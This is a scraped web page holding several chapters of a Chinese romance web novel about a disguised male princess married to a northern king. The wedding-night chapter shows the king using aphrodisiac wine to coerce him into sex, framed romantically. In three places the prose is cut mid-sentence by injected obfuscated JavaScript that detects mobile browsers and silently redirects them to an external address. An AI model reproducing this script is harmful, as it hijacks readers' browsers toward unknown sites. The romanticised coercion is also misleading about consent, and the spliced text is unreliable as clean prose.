《塞北花,江南雪》 3. 备婚 备婚的时日枯燥且无趣。 当下的花韵之虽忙碌,但除去吃饭睡觉,日日都是换婚服,选头面,换婚服,选头面……似乎全然没有别的事可做。 “公主,我们不可以出去走走吗?” 鹊枝也觉得无趣。 她扶着椅子扶手,蹲在花韵之身边,小声嘟囔:“往日在大梁也不至于此呀。” 鬓边的流苏轻晃,花韵之似有些无奈地垂眸,抬手轻抚了抚鹊枝的脑袋:“但这里不是大梁。” 这里不是他的家。 但,或许是知晓公主的生活无趣,在花韵之入住孤邙皇宫的第七日,一个意外来客叩响了他的房门。 “完颜万夫长?” 鹊枝愣了愣。 完颜陌眉眼弯弯。而鹊枝似是意识到什么,眼睛悄悄亮了一下:“完颜万夫长可是来寻公主的?” 完颜陌颔首:“不错。” 他负着手,向内走了几步,又倒回来:“公主可在?” 不待鹊枝点头,紧闭的屋门便缓缓开启。披着大氅花韵之高挑瘦削,如扶风弱柳,静静立在屋门内,注视着风雪中的完颜陌。 “完颜万夫长。” 花韵之微微颔首:“许久未见。” 眉尾稍扬,完颜陌笑起,却不紧不慢地上前:“如何是许久未见?公主,我们不是七日前刚见过吗?” 这话说的有些轻佻,花韵之没有作答,而是直接道:“完颜万夫长寻我,是有何事。” 完颜陌唇边带笑,却端的一副一本正经:“自然是有要紧事。” 轻轻看了完颜陌一眼,花韵之没有再说些什么,而是直接引着完颜陌去往会客厅。 低笑一声,完颜陌不远不近的跟着花韵之的步伐,甚至饶有兴致地寻觅着花韵之的足迹,好似坠在兔子后的狐狸。 公主寝宫的会客厅很大。 但注视着几乎落满会客厅所有博古架的宝物,完颜陌似乎顿了顿。无声扫过那些来自五湖四海的宝物,他的神情变得有些难以言喻。可完颜陌终是一言不发,只老老实实地入了座。 “完颜万夫长有何事?” 轻缓的声音唤回了完颜陌的思绪,他抬眸看向公主,勾了勾唇角:“有什么事?” 支着下巴,完颜陌笑眯眯道:“公主,孤邙后宫如大梁一般,亦不许外男进入。能让我进后宫的人,自然只有我们敬爱的王上。” “所以我来寻公主,当然与王上有关。” 孤邙王…… 这是意料之内的答案,花韵之的心脏却依旧落了几拍。蜜棕色的眸子浮上几分清浅的、不易明辨的情绪,花韵之微抿红唇,淡声开口:“所以,万夫长究竟有何事?” 完颜陌笑而不语,只垂首在腰间掏了掏,一股脑掏出一大堆信。 “嗯。”他抬了抬下巴,那双灰蓝色的眼睛微微眯起:“王上言婚前不宜与公主相见,于是托我——来为公主送信。不过,我们尊敬的王上一向不善言辞,写的信大抵也没什么情话。公主想看吗?” 花韵之低垂眼帘。而完颜陌自顾自开口:“若是不想看,我可以替公主送回去。” ——送回去? 本还在思索该如何作答的公主愣住。 对于这些信,完颜陌的态度令花韵之始料未及,而退回孤邙王信件所言更是让他不可避免的感到愕然。 “送回去?” 花韵之不禁反问。 完颜陌似也意识到自己一时的冒进与失语,沉默半晌,才缓缓牵起唇角,露出一个灿烂的笑容。 “怎么了?公主。” 花韵之不语。 完颜陌难得为自己找补:“公主,我没有别的意思,只是认为心意相通的信件才对人有价值……公主这样看着我做什么?” 顶着花韵之怪异的目光,完颜陌似有些无奈地弯了弯眼睛,轻声道:“公主当下与王上初相识,应还不熟悉王上,更不会爱王上。但我想,王上大抵是很愿意与公主心意相通的。而且王上他……我知中原人不喜欢他,但王上人还是挺不错的。” 静静注视着完颜陌,公主的指尖微微收紧。 “就比如,额……”完颜陌绞尽脑汁:“对于信任的人,王上一向很宽容,从不会因为一些小玩笑生气。当然,他更不会生公主的气,公主其实不必怕他。公主若对他笑一笑,我们这些下属也能难得落个王上的好脸色。” 从未说过自己怕孤邙王的花韵之:“……” 看着东拉西扯,抓耳挠腮试图再想出几个孤邙王优点的完颜陌,花韵之轻轻开口,翻过此篇:“妾何时说过,妾怕王上了吗?” 完颜陌:“……” 完颜陌扯了扯唇角:“公主,我瞎想的。” 虽然确实惧怕孤邙王,但并不希望这个消息传出去,更不希望传入孤邙王耳中的花韵之垂下眼帘。 而完颜陌扫了一眼那几封信,又似乎是看到什么晦气一般避之不及的快速移开了目光,随后笑看向花韵之:“公主,既然信与心意已送到,那我就先不打扰了。过几日大婚,我会来喝公主的喜酒。” 花韵之没有否认喜酒一词,他微微颔首应下,道了句:“万夫长,一路顺风。” 完颜陌很快离开了。 而他留下的那几封信落在桌上,花韵之沉吟片刻,终是缓步上前,从其中挑选一封开启。 【见字如晤。】 孤邙王的字迹是与他锋利容貌相似的锐气肆意。 但或许是刻意收敛过,信上的字迹虽张扬却不狂放,看上去亦不凌乱,倒也算得上美观。 展开信纸,花韵之寸寸看下去。 一如完颜陌所言,孤邙王的信中并未有什么情话。当然,花韵之也不想在孤邙王笔下看到送给他的情话。 信不长,信纸也不长,孤邙王所写下的一切更是点到即止。与肆意的字迹截然相反,信纸上的内容似涓涓细水长流。 花韵之并不厌恶这样的内敛。 他亦不是外放之人,花韵之的性情较比孤邙王甚至有过之而无不及。内敛的公主虽在规矩中长的大方得体,不会畏惧汹涌的海浪,却也天然亲近同样内敛的小溪流水。 只是,这个小溪流水是孤邙王。 花韵之的指尖蜷起。 平心而论,花韵之是畏惧孤邙王的。 ……独孤朔。 孤邙王。 他是孤邙大胜大梁的主将,也是儒生口中的逆臣。京中关于他的传言很多,他们说他青面獠牙,说他嗜血嗜杀,又说他将老王上留下的妃嫔统统做了处理,怕会活剥了和亲去的公主。 花韵之从始至终都不信这些,但他也对这位新王抱有深深的恐惧。 ……弑父杀兄。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871142|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 天家无真情,花韵之虽远离权力漩涡,却也并不厌恶这样的举措。 但,纵使古往今来,皇位总要流血。花韵之也不敢想究竟是怎样坚定的心性,才能做到有条不紊的布局,在谋反乱战中模仿曾经的冒顿单于鸣镝弑父,亲自杀死自己的父亲与所有兄长,真正踩着他们的血肉与尸骨登上那血淋淋的王座。 有野心,有手段,有决心,并不是一件坏事。 正相反,纵观史书,这样果决果敢的人只要没有过分贪图享乐,过分蔑视生命,都会成为一个优秀的首领。 花韵之清楚这一切。 可身为对方征伐的战利品,敌国君主所献出的妃嫔,花韵之却由衷的畏惧这样的丈夫,这样的王上。 ……花韵之不知道,孤邙王究竟将他视作怎样的存在。亦不知道孤邙王当下的温情又是否是假象,他若信了这份温暖,是否会落到万劫不复的下场。 他能亲近孤邙王吗? …… 嫁到异国他乡的和亲公主,都需要改汉为胡。 幸而,孤邙虽是异族,却也是受历代中原王朝光芒普照的异族。所以在某些风俗上,孤邙与大梁不说截然相同,也可以说极为相似。 因此,花韵之学习的很快。 虽然学习孤邙话依旧困难,但会官话的教习嬷嬷也不指望花韵之在短短不到一月的光阴里熟习孤邙话。他们王上精通大梁官话,与公主交流不成问题,所以嬷嬷只教了花韵之些婚礼用得到的,和或许用得到的。 至于旁的……无论是孤邙礼仪还是衣装,花韵之都接纳的很好。此时,一袭孤邙红婚服的公主坐在铜镜前,任由侍女为他装点。 “公主当真是好看。” 生涩的大梁官话吐出,孤邙侍女竭尽所能的夸赞着公主的容颜。鹊枝听的眉眼弯弯,恨不得孤邙侍女再多夸些,花韵之却只注视着铜镜中的有些陌生的自己,温婉笑着。 孤邙女子的装扮一如大梁,多是在前朝女子扮相上加以改造。红裙勾勒出公主窈窕的身形,裙上充满异族气息的喜服纹样又为公主添上几分别样的风情。配上孤邙独特的面妆,花韵之几乎都要认不出自己。 “公主当真是适合这幅装扮。” 孤邙侍女赞不绝口,而花韵之轻轻笑着,垂下了眼。 孤邙王为花韵之准备的婚服与头面很多,且都很华丽,若每日一套几乎可以换上几月光阴。 幸而,花韵之很快便选择出了自己偏好的那一套。而自那以后,孤邙王也没有再送来婚服与首饰。 虽并无与孤邙王直接交流的渠道,但清楚自己身边除去鹊枝的每一人都是孤邙王耳目的花韵之并未说些什么。早已习惯深宫生活的公主并不会对此怨怼,孤邙王在他身边安置眼线更不会让公主不安。 或者说,若是孤邙王不在他身边安插人,不在新婚这样紧要的关头注视着他的一举一动,花韵之反而会不安。 不被皇帝关注的后妃,只有惨死一个下场。 花韵之不想被过多关注,却也不想被彻底不关注。 他需要孤邙王的注视。 …… 光阴如梭。 这是场早已筹备的婚礼。因而,似乎只是转眼间,一月光阴便流逝的彻底。属于北地的春遥遥无期,孤邙的冰雪也尚未融化。 冷寂的黑水城却似乎热闹了起来。 4.大婚 与民同乐从不是一句空话。 在婚礼前一旬,公主搬离了皇宫,住到了城郊历代和亲公主待嫁的寺庙。 而黑水城中也开始分发柴火干粮,每一位百姓无论性别年龄,每一天都可以领。只要为王上与那位中原公主说一句恭贺新婚的吉祥话便好。 “菩萨保佑,百年好合!” 拿到干粮与柴火的贫苦百姓对着皇宫双手合十。 他们家里的干粮已经吃完了,但因为那位中原公主与王上的婚礼,他们又得到了食物。至少,至少在最近这段时日,家中嗷嗷待哺的孩子可以不用冒着虎豹熊狼的危险去林中觅食,他们也无需拖着残破的躯体以低廉的价格给富户卖身为奴,世代做仆役。 纵使春暖花开尚且遥远,但他们又有了盼头。 只要熬过这个冬天。 只要熬过这个寒冷的冬天,一切都会好起来的。 会……好起来的吧。 …… 四月初一,大吉。 日落西山,昏时已到。 乌鸦扑扇着翅膀,落在枝头,望着自城外开始蔓延的红色。 噼里啪啦的炮竹在雪地上炸响,留下满地破碎的红花。街边的孩童捂着耳朵,压抑着喉间的尖叫,双目却炙热明亮。 “哗——” 身着礼服的侍女抛着铜币与饴糖,似天女散花般落下。欢呼声此起彼伏,接到喜气的人面上皆带着不散的笑颜与红光。 月上枝头。 将喜糖含在口中,甜腻似乎泛到了心底,这个冬夜似也乎没有那么冷了。 奏着喜乐的锣鼓声愈来愈响,稚童的声音清脆。 “新娘子来啦——” 北风撩起大红的绸缎。 王与新娘子,来了。 披着红绸头戴小帽的海东青落在肩头,目光灼灼地望着周围。高马之上的王微微抬首,冷峻的面庞仿佛也被红衣微微融化,染上了几分暖意。腰间悬着的长剑庇护着王身后赤红的软轿,也庇护着软轿之上王心心念念十数年的公主。 ——八抬大轿,十里红妆。 他做到了。 赤色汇聚成火龙,自城郊的寺庙一直蔓延到了宫中。火红的绸缎在宫门处飞舞,大红的灯笼映照着每一人面上的喜色。 骏马踏着宫道,软轿行入宫门。待宗庙近在咫尺,王翻身下马,亲自撩起了轿帘,向公主伸出了手。 “公主。” 金凤喜帕遮掩了公主的容颜,也遮掩了那双温暖的眼眸。宽大的掌心落上了公主柔软的五指,浅淡的花香萦绕在王的鼻尖,无声拨动他的心弦。 轻轻包住染着丹蔻的手,王的声音很低:“公主,小心脚下。” 公主的指尖似乎颤了颤。 王的动作是温柔的。他牵着公主迈入宗庙,在礼官的声音下分毫不差地执行着礼仪,引着公主说出向长生天祈求永生永世相伴的祷词。 “礼成——” 公主被迎入了寝宫。 …… 夜深了。 龙凤喜烛在晦暗中摇曳,映照着大片如火般的红。 指尖揪着宽大的袖口,红衣未褪的花韵之独坐在寝宫内,轻轻撕咬着饱满如菱角的唇。仍落在头上的喜帕掩住了公主的容颜,却掩不住公主心底蔓延开的恐慌。 ……新婚夜。 孤邙王的婚礼精细,进而导致花韵之为遮掩性别的对策统统皆是昏招。清楚这些的公主绞尽脑汁,试图摆脱那可怕却又不存在的束缚。 不知过了多久。 长靴声声落地,层层叠叠的红绸被指尖撩起。白雪融化在赤红的地毯上,留下大片暗色水渍,踏雪而来的王站定在公主身前。 烛火拖拽出长长的影子,肩批赤狐尾的独孤朔垂眸,注视着头盖红喜帕的花韵之。公主的袖口已被蹂躏到有些凌乱,独孤朔的目光在其上顿了顿,终是取起了喜秤。 “公主。” 冰冷的喜秤探入喜帕,寸寸撩起,暴露出公主精致的下巴与红唇。不再被遮掩的肌肤如雪,大红的布匹携着金凤自珠翠上落下,只留下公主精致的发髻。那双蜜糖般的棕眸似携着难掩的羞怯,再度闯入了独孤朔的视野。 这是他的花迟。 ……这是,他的妻子。 独孤朔的灵魂开始战栗。指尖微颤,高大的男人捻起酒樽,微微俯身。 “该喝合衾酒了。” “……” 苦涩。 苦涩的酒液涌入唇间,似乎将五脏六腑都烧了起来。环绕的双臂让花韵之清晰感受到了孤邙王的炙热,而孤邙王死死锁在他脸上的目光分寸不移,花韵之的不安却几乎无法再遮掩。 低垂的鸦羽颤动,收紧的指尖按着金樽。 公主怯怯抬起了眼。 “王上……” 公主的声音柔婉,却又透着被酒浸出的粘稠,几乎让人的心都随之颤动。但那双蜜色的眼眸下却压抑着深深的恐惧。没有错漏分毫花韵之情绪的独孤朔低垂下眼:“怎么了。” 娇怯从未自面上褪去,花韵之抿了抿唇。 “王上为何这样看妾……” 良久沉默。 酒樽落下,独孤朔抬手,轻抚上了花韵之的脸侧。柔软的肌肤在粗粝的指尖下仿若温润白玉,抚摸带来的痒意令纤长的眼睫颤动,公主染着水光的唇轻轻抿起,花韵之看着孤邙王俯下身来。 “孤观你貌美,怎么了。” 近在咫尺。 男人滚烫的气息近在咫尺,令花韵之毛骨悚然。他想要推开孤邙王,想要避开接下来有可能发生的一切事,但——不行。 他不能这么做。 他是和亲公主,是孤邙王的妃嫔。 他必须承受这一切。 长睫如蝶翼颤动,花韵之小心翼翼地牵起唇角,露出一个近乎讨好的笑。他抬起柔软的手臂,主动圈上孤邙王的脖颈。 “王上……” 花韵之不想和孤邙王同房。 而避无可避。若是直言不想与孤邙王同房,他定不会落得什么好下场。同样是男人,清楚男人在什么情况下不行的花韵之把心一横:“妾想与王上,再饮合衾酒。” 柔软的躯体贴上男人结实的身体,独孤朔静静看着花韵之表演。他本没有说些什么的欲望,直到花韵之主动提起酒壶,想与他饮酒。 身体已开始泛起热意。 但面对花韵之递来的酒樽,独孤朔沉默良久,终将满腹解释吞了回去。他深深地看了花韵之一眼,便俯首含住了那个酒樽。 一杯一杯温酒入腹,热意源源不断的翻涌而上。独孤朔的神情依旧淡漠,但他的动作又分外温柔。揽住为了哄他同样与他一杯杯饮酒的公主细腰,男人微微倾身,逼近公主的面庞。 “公主。” 随着最后一杯温酒入腹,醉意仍未如花韵之所想般将独孤朔笼罩。他的声音很低:“你可知,合衾酒有暖情的效用?” 大手将公主纤细的腰肢向内揽了揽,公主被迫彻底坐到独孤朔怀中。而感受到什么,花韵之的神色在瞬间空白。 ——什么? 小脸上满是无法遏制的茫然,同时察觉到自己也开始泛起热意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878186|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的花韵之在瞬间惊恐起来。 “王、王上!” 可惜,暖情酒的效用早在不知不觉间发作,酒液将公主的头脑烧到有些昏沉,身体亦疲软无力,花韵之努力想要挣脱孤邙王的束缚,却无济于事。看似温柔的大手带着不容拒绝的力度,将花韵之狠狠压制在怀中。 而在花韵之的挣扎下,孤邙王的身体愈发炙热。 “那么多暖情酒……公主。” 独孤朔将下巴落在花韵之的肩头,滚烫的气息扑在花韵之的耳尖:“您想怎么解决呢?” 弄巧成拙,昏招频出。 花韵之几乎要哭出来了。 大颗泪珠挂在纤长的眼睫上,将落不落。花韵之抬手抵着独孤朔的肩头,依旧温柔的声音染着难以掩饰的颤抖与哽咽:“王上、王上,妾、妾不会……” “嗯?” 独孤朔以指尖按了按花韵之的腰侧,花韵之的身体在瞬间软了下去。 身体的回应不容忽视。花韵之圈住孤邙王的脖子,俯首在孤邙王肩头:“王上……妾害怕。” 这无疑是一个很好的理由。 垂眸注视着怀中人领口处暴露出的脊背,独孤朔静静听着花韵之找借口。而花韵之窝在孤邙王怀中,小声道:“王上,妾不是故意的……” 独孤朔轻轻挑起了眉:“不是故意的?” 花韵之的声音很低:“嗯……” 独孤朔低笑了一声:“那么,公主想怎么办呢?” 大手落上花韵之的小腹,轻按了按,随即向下。花韵之不禁发出一声惊呼,接着便是无法遏制的恐惧翻涌而上,将花韵之吞噬的彻底。 泪水终于滚了出来。 “这是什么?” 孤邙王慢条斯理。 “妾、不……王上,不要……” 孤邙王俯下身。 “所以,这是什么呢?” …… 一夜无眠。 鞭炮的碎屑融化在雪中,昨日被车轮与皮靴来来回回碾过的雪地呈现出丑陋的黑,像是大片乌云落在了人间。 “公主。” 早朝结束,回到公主寝殿的独孤朔意外对上了那双蜜棕色的眸子。他站定在门前,微微收起下巴:“昨夜休息的可好?” 不知何时醒来的公主早已梳妆完毕。乌黑发间插着珍珠簪,小颗圆润的珍珠仿若碎星,衬得公主愈发柔婉。 “我休息的很好。” 鸦羽似的眼睫低垂,仿若蜜糖的眸不再注视独孤朔。花韵之轻轻开口:“多谢王上关怀。” 因一夜荒唐而染上低哑的声音不复温婉,反变得冷冷清清。花韵之对孤邙王的态度更堪称漠然。 略顿了顿,独孤朔大步上前。 “那公主怎醒的这般早。” 大手捧住公主的下巴,独孤朔微微用力,花韵之便被迫抬起了头。 “抬眼,看我。” 眼睫颤了颤,花韵之终是顺从地抬起了眼,看向了孤邙王。 “公主今日为何待我这般冷淡?”轻轻摩挲着花韵之的下巴,独孤朔的神色淡然:“昨夜,公主虽羞怯,却不是很热情吗?” 忆起昨夜,花韵之脸色顿时苍白三分。 “王、王上……” 蜜棕色的眸中浮上细碎的水光,冷漠被击碎的彻底,花韵之慌乱地握住独孤朔的腕,将自己送到独孤朔的掌心:“我不……” 独孤朔低垂着眉眼。 “公主,别怕。” 他微微倾身,逼近公主红润的唇瓣。 “我一直都知道。” 5.橘子 ——我一直都知道。 低低落下的声音令花韵之如遭雷劈。眼眸微颤,公主握着王的手不自觉收紧。圆钝的指甲刺入独孤朔的手腕,独孤朔的神色却无甚变化。 “公主。” 依旧平静的王取出药膏,独孤朔淡声开口:“去床上,我为你上药。” 目光短暂落在孤邙王的大手上,忆起自己身上层层叠叠的痕迹,公主的眼睫颤抖着垂下。 昨夜的孤邙王温和却强硬,在花韵之的身上留下了数不清的印记,像是在标记伴侣的野兽。虽不知孤邙王是如何知道的,亦不知孤邙王为何知道却仍要娶他,又这般对他。但这致命的把柄在孤邙王手上,花韵之只觉自己的咽喉被扼住。 他不敢拒绝孤邙王,纵使他不愿至极。 “……嗯。” 低低的声音溢出,花韵之抿起了唇。 层层叠叠的衣袍褪去,单薄的身躯是病态的冷白。深深浅浅的红纵横交叠,好似在白雪之上开出的大片红花。 纵使昨夜不容花韵之拒绝他所施予的一切,但今日的独孤朔却柔和了触碰公主躯体的动作。 冰冷的药膏落在腰间,落在胸前。 “唔……” 腰腹紧绷,指尖蜷起,薄红自耳尖蔓延至脸颊,水润的眼眸颤颤巍巍。花韵之咬住红唇,压住因酥麻感而产生的闷哼。 “公主。”独孤朔抬眸看向花韵之:“是药太凉了吗。” 抬手掩面,蜜色浅眸溢满羞怯,花韵之轻轻摇头。 独孤朔慢慢揉搓着药膏,大片桃粉融化在雪白的肌肤上,衬得公主愈发可怜。 “那就好。”独孤朔的声音很低,也很缓:“公主,若是不舒服,请与我说。” 半掩半露的身躯柔软,男人专注的目光游走,花韵之近乎羞愤欲死。 他闷闷应下,咬住了指节。 …… 待上好药已过了两刻钟。 时间的流逝无形,再度穿好衣装的花韵之面上仍带着薄红,摸上去也有些温热。 “可是炉火太热了?” 独孤朔以手背轻触了触花韵之的面颊,面若桃花的公主眼睫颤动,紧抿双唇:“不是……” “那公主的脸怎么这般红。”高大的男人微微俯身,逼近公主的面庞:“不是热的,那……” 撩起公主的额发,独孤朔抵上了花韵之的额头。肌肤相贴的瞬间,花韵之猛地抬起眼,不敢置信地看向那双依旧如死水般毫无涟漪的灰蓝眸。 “公主,是病了吗?” 花韵之恨不得自己病了。 眼睫不住地颤抖着,红润的唇瓣紧抿,公主原本苍白的面庞几乎烧做红艳的花。花韵之想要用力推开独孤朔,可在双手将要抵上男人肩头的瞬间,公主又强行遏制住了自己的动作。 “王上……” 察觉到男人平静的目光落在他的手上,本想要悄无声息将手落下的花韵之头皮发麻,试探性地揪住了独孤朔肩上的衣装。 “妾、我……” 他抿了抿唇,眸含水光,我见犹怜地看向独孤朔:“许是因羞怯,所以才会……” “羞怯。” 独孤朔低垂眼帘,缓缓重复:“公主在羞怯?” 无甚波澜的声音听不出什么起伏,花韵之连独孤朔的情绪都猜不出。心下慌乱无措,但清楚自己生了副好容貌的公主却愈发可怜。 “王上……” 适时屏息,花韵之生生让本就泛粉的面庞愈发浓艳,他轻轻看了独孤朔一眼,低声道:“我……从未与人这般亲密过。” “的确。” 美人在怀,独孤朔却依旧平静。 “以公主的身份及……”他无声看了一眼花韵之的腰腹,轻轻开口:“公主的确不会与人亲密。” 花韵之:“……” 花韵之:“…………” 过分露骨的目光扫过,令花韵之不自觉忆起昨夜男人的动作。花韵之一时大脑空白,他甚至不知该说些什么,以应对孤邙王这过分直接的话语。 孤邙王似乎低笑了一声。 “罢了,公主。” 独孤朔后退一步,回到花韵之不会不适的距离。 “昨夜是我趁虚而入,公主不必想那么多。”独孤朔微微颔首:“但公主,你我是夫妻,总要给两国一个交代。” 指尖颤了颤,花韵之没有再看向孤邙王,却低低应了一声。 “……嗯。” 花韵之抿了抿唇:“我知道。” …… 孤邙王离开了。 男人的气息依旧萦绕在身旁,如影随形,令人不安,但花韵之却重重吐出一口气。披上大氅,花韵之行至窗边,推开了屏风外的一扇窗。 冷风席卷而来。 寒意驱散了花韵之身上的热意。不远处,摇摇欲坠的枯叶打着旋落下,花韵之静静注视着其下的积雪,看着那片单薄的叶子砸出一个小小的雪坑。 “公主!” 鹊枝的声音由远及近。 轻轻合上了窗,花韵之回眸看去。而拎着饭盒的少女将盒子重重落到桌上,眉飞色舞:“今日的饭菜公主一定喜欢!公主快来瞧。” 心头的郁气被少女轻快的声音驱散三分,轻轻弯起唇角,花韵之缓步上前:“为何这样说?” 鹊枝打开饭盒,一个一个拿出菜肴,一边拿一边道:“公主,这孤邙王宫竟然会做中原菜!今日我去领早膳,厨娘竟专门为公主备了菜肴,独一份呢!还都是公主喜欢的菜式。” 一道道分量不大,但色香味俱全的菜落到案上。 面上的笑容完美无瑕,站定在桌案旁,花韵之逐一看去,心却渐渐沉入了谷底。 这些菜肴…… “鹊枝,厨娘可还与你说了什么?” 公主的声音温婉,而鹊枝侧了侧头:“厨娘说的都是孤邙话,我听不懂……但随行的孤邙嬷嬷说!是孤邙王叫他们习的,在公主到来前半年就开始习做中原菜了。他们日日练时时练,那段时日宫中下人都吃了不少试验品呢!” 孤邙王。 不出所料的答案令花韵之垂下了眼。他轻轻应了一声,没有再说些什么,而是唤鹊枝坐下与他一同吃。 鹊枝倒也不觉得有什么。她毕竟与花韵之一同长大,是花韵之的贴身侍女,性情虽跳脱做事却妥帖,花韵之自然也会给她殊荣。 花韵之一向胃口小,今日又心事重重。 稍微进了些早膳,他便落下了筷子,徒留鹊枝一人风卷残云大快朵颐。 孤邙王…… 知晓他性别,却又待他极好的孤邙王。 花韵之微微垂首,放任额发遮掩了眉眼。他努力回忆着,自己在过去究竟有没有与这位孤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885336|176203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邙王有过交集。 可——他是大梁的公主,独孤朔曾是孤邙的王嗣。 他们如何会有交集呢? 大梁的公主被养在深宫后宅,需要按部就班的走完一生;孤邙的王嗣则是奔袭在雪原上的狼,注定追逐日光与温暖。他们不该、也不会有任何交集,直到孤邙大胜大梁,直到孤邙王嗣弑父杀兄。 若单论与孤邙人的交集,花韵之确实曾有,那人也的确熟悉他,知晓他的真实性别。但那人已经死了,花韵之曾亲耳听父皇提起他病逝之事,又如何会是当今的孤邙王。 罢了。 轻轻的叹息响起,公主抬起眼帘。 多思无益,还是先走一步,看一步罢。 …… 自新婚后,孤邙王夜夜都来花韵之的寝殿留宿。 他倒没有再做些什么,且夜夜都睡在偏榻,也不与花韵之共枕而眠,将有礼贯彻到了极致。 可见识过孤邙王坏心眼的花韵之如何会信。 虽警惕,但在深宫中沉浮十数年的公主自然伪装的极好。花韵之甚至会主动对孤邙王笑,以自己乖巧可人的模样蒙蔽孤邙王身边的内侍。 “你可知,他们都在说你什么?” 是夜。 独孤朔坐在胡椅之上,剥着橘子,漫不经心地开口。而花韵之摸不准他的思绪,只得轻轻摇头:“不知。” “呵。”独孤朔轻笑了一声:“他们说,你是狐狸变得,所以才能这般令我……” “着迷。” 花韵之:“……” 说罢的独孤朔似乎心情很好,一瓣去了橘络的橘子被他递到花韵之唇边。无语凝噎的花韵之静静注视着独孤朔,而独孤朔以橘子蹭了蹭花韵之的唇。 “乖,张口。” 独孤朔的话不含任何命令的意味。但花韵之垂眸看了看那瓣橘子,终是顺从地张口含住。 橘子出乎意料的不酸,很甜,却也很冷。只一口便让花韵之的舌尖与喉管都泛起了凉意。 公主不自觉皱了皱鼻子。 独孤朔没有错过他的小表情,于是第二瓣递到花韵之唇边的橘子便自然而然的暖了许多,带着男人温热的体温。 “公主,张口。” 独孤朔的语气依旧淡漠,好似为了不让公主被冷到而小心翼翼暖橘子的并不是他。 而花韵之也全然没有察觉到独孤朔的小动作。他垂眸看了看那瓣橘子,便再度张口咬住,以舌尖卷入了口中。 这瓣不冷了,对公主来说也更好吃了。 看着花韵之如猫儿般微微眯起的眼睛,独孤朔又低笑了笑。 “王上?” 低低的笑声愉悦,令花韵之抬起了眼。而慢条斯理剥橘子的独孤朔却依旧平静,他甚至泰然自若的反问:“怎么了,公主。” 花韵之定定注视独孤朔片刻。 “……没什么。” 独孤朔没有追问,而是又剥了瓣橘子,像喂兔子一样递到花韵之唇边,看着花韵之吃下。 “公主。” 待到一整颗橘子都吃完,独孤朔也不再剥了,他回眸看了看窗外初化的冰雪,淡淡道:“将要五月了。” 花韵之顿了顿。 而独孤朔看向他:“五月初,大鲜卑山有围猎,孤邙的王公贵族皆要参与。” “公主可要与我一同前去?” 6.围猎 塞北的春总是来的很晚,有时五月仍会落雪,洋洋洒洒。但无论如何,今年的五月却是彻底的冰雪消融。句芒降临这片寒冷的土壤,带来了新生的希望。 五月,大鲜卑山。 青青绿意才刚刚冒芽,群山依旧枯黄。层层叠叠的树枝挡出大片晦暗,似乎一晃神便会冒出一只野兽,令人不安。 许是将要围猎,公主的发髻不再繁琐,而是简单地在脑后挽起。一袭孤邙骑装的花韵之手握长弓,轻轻抚摸着身侧乖顺的黑马,任由鬃毛自他的指间流淌。 “公主。” 熟悉的男声忽自耳边响起。 眼睫轻抬,花韵之对上一双含笑的灰蓝眸。这双过分熟悉的眸色令他恍惚一瞬,才稍稍避开了对方的目光。 “……万夫长。” 完颜陌颔首应下:“是我,公主。公主怎在这边站着,可是不知王上在何处?” “不是。”花韵之摇头,轻声道:“是我自己好奇,想来看看这匹马。” 完颜陌似才注意到公主身旁矫健的高大黑马。 他定定注视那匹黑马片刻,忽地笑起:“这是王上的飞光,王上平日宝贝的紧呢。赫连将军立下赫赫战功,曾想讨要飞光,王上都不给。” 说罢,也不待花韵之回应,完颜陌便又对着他弯起眉眼:“说来,我再称公主为公主是不是不太好?” 五指自鬃毛间滑落,忽闻此言,花韵之愣了愣。 “怎么不太好?”花韵之不解。 完颜陌摸着下巴,似解释又不似解释道:“当下公主已与王上成婚……我是不是该称公主为王嫂?” “公主又生的这般小……不如我唤公主为小王嫂?公主可喜欢这个称呼?” “什么小王嫂。” 漠然的声音自身后传来。完颜陌顿了顿,终是牵起唇角,回眸看去:“王上,您是来寻公主的?” 独孤朔看了他一眼,没有回应,而是直接向花韵之伸出手:“公主。” 垂眸看向那只粗粝的大手,公主缓缓搭了上去,又不自觉抿了抿唇。 独孤朔没有错漏花韵之的神情,他轻轻扫过完颜陌,完颜陌当即移开了目光。 “公主。” 待彻底远离完颜陌,独孤朔才开口:“完颜陌的性情自小如此。公主若不喜,我日后便不让他出现在公主面前。” “我……”双唇嗫嚅,花韵之的声音很低:“没有不喜。” “完颜万夫长待我……还好。” 完颜陌待花韵之还算礼遇,花韵之往往也不会因他而不虞,因此不愿给完颜陌惹麻烦的公主还是轻轻替他辩解了几句。 而听到这些,独孤朔的情绪依旧难明:“那便好。” 他淡声道:“日后完颜陌若冒犯公主,公主可与我说,我自会惩戒他。” “……嗯。” 独孤朔带着花韵之回到了靶场。 